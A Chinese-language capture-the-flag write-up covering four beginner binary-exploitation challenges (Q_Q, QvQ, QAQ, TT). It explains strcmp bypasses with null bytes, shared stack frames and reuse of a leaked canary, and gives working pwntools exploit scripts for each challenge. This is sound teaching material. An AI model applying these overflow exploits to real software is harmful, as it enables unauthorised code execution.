-
-
[原创]0rays战队PTT0爷的QAQ系列题解
-
2022-4-27 23:55 5680
-
前言
自11月2日到11月17日持续半个月的大工程,期间百分之大部分的时间都走了弯路。甚至大多都是慢慢调出来的,现在写前言的时候有些题的原理都还不是很清楚。借此机会,顺便研究一下原理。
Q_Q
ida
解题思路
可以看出要绕过两个东西,一个是strcmp的比较,另一个是v4的值。
EXP
1 2 3 4 5 6 7 8 | from pwn import * r = process( "./Q_Q" ) payload1 = p32( 0x11756f79 ) + 'a' * ( 0x16 - 0xc ) + p32( 0x8181B1B ) gdb.attach(r) r.send(payload1) payload2 = 'a' r.send(payload2) r.interactive() |
聊聊strcmp函数
为啥要在这里聊呢,因为后面QvQ、QAQ考察的核心就是strcmp函数
strcmp函数的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | int strcmp(const char * str1,const char * str2) { / * 不可用 while ( * str1 + + = = * str2 + + )来比较,当不相等时仍会执行一次 + + , return 返回的比较值实际上是下一个字符。应将 + + 放到循环体中进行。 * / while ( * str1 = = * str2) { assert ((str1 ! = NULL) && (str2 ! = NULL)); if ( * str1 = = '\0' ) return 0 ; str1 + + ; str2 + + ; } return * str1 - * str2; } |
可以看出,当两个字符的指针均不为空的时候,比较指针所指的字符,如果存在不同,返回ASCII码的差值;当有一个字符指针为空的时候,结束比较并返回0.
存在的问题
一开始比较的时候,在gdb里面看到两个首字符相等就十分高兴,以为出了,结果后来用x指令发现后面几位根本不等,调了半天才出。
QvQ
ida
解题思路
发现和Q_Q有很大的相似之处,但是不同的是两个比较的字符串buf和s2是我们读入的。从buf开始读入的字符,覆盖buf的同时也能够覆盖s2,所以我们只需要传入'\x00'就能保险地构造空指针使得绕过strcmp
EXP
1 2 3 4 5 6 7 8 9 10 | from pwn import * ##r=remote("116.62.46.174",10002) r = process( "./QvQ" ) context.log_level = 'debug' ##gdb.attach(r) for i in range ( 0 , 12 ): r.send(p32( 0x0 )) payload = p32( 0x8181b1b ) r.send(payload) r.interactive() |
遇到的问题
一开始不知道strcmp函数的性质,走了很多弯路
QAQ
ida
pwn叫你不要看f5
可以看出strcmp(s1,s2)返回0时,到loc_8048547。当[ebp+var_44]与1Bh不等时,到达system()
EXP
1 2 3 4 5 6 7 | from pwn import * r = process( "./QAQ" ) r.recvuntil( "think_after_think,wo_haishi_bugaonimengle" ) gdb.attach(r) payload1 = '\x00' * ( 0xa + 4 ) r.sendline(payload1) r.interactive() |
TT()
如何解
这道题真的要对栈帧有深入的理解,因为涉及共用栈帧。并且能读懂汇编指令,
ida
main
发现有一个全局变量(划重点!!!!),两个函数,还有一个打印的cannary,自然会想到接收cannary然后再覆盖的时候不修改cannary的值同时将main函数的返回地址设置为backdoor。但按照这种想法,后面就会被莫名其妙的segmentfault泼冷水
func1/2
可以看到有个奇怪的地方,func1有读入但是没有比较,而func2有比较但是没有读入。会想到用func1读修改func2的v1的值。如何修改呢,这就涉及到对栈帧的理解了。进入gdb调试,我们发现,func1和func2的栈帧的ebp是完全一样的,意思是两个函数的栈帧其实是共用的。有人会问:会不会func1在清栈的时候把修改的值抹去或者重置?当然不可能,清栈时的leave函数个人理解其实是修改ebp和esp寄存器的值,对内存中其它地方的值是没有修改的。所以,这种想法是完全可行。
关于Segmentfault的处理
我们会发现,覆盖后在gdb里面单步步过会再get后到达一个奇怪的地方
一开始我想不通,这0x6161615d是什么寄,知道我读到了这个:
最后ret的其实是esp即[[ebp+var_4]-4],所以我们把ebp+var_4的位置放置backdoor_address+4即可
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * ##r=remote("116.62.46.174",10004) r = process( "./TT" ) ##context.log_level='debug' payload1 = 0x5c * 'a' + p32( 0x75BC371 ) ##gdb.attach(r) r.sendline(payload1) r.recvuntil( "Here is a gift:" ) canary = int (r.recv( 8 ), 16 ) ##print(hex(canary)) payload2 = 0xa * 'b' + p32(canary) + 'a' * 4 + p32( 0x0804B020 ) r.sendline(payload2) r.interactive() |
总结
其实说实话,这四道题都还挺简单的,主要是要调,要熟练掌握gdb中x指令和看懂ida里的汇编语言,清楚理解栈帧等等。总算出新手村了,以后还要多加努力!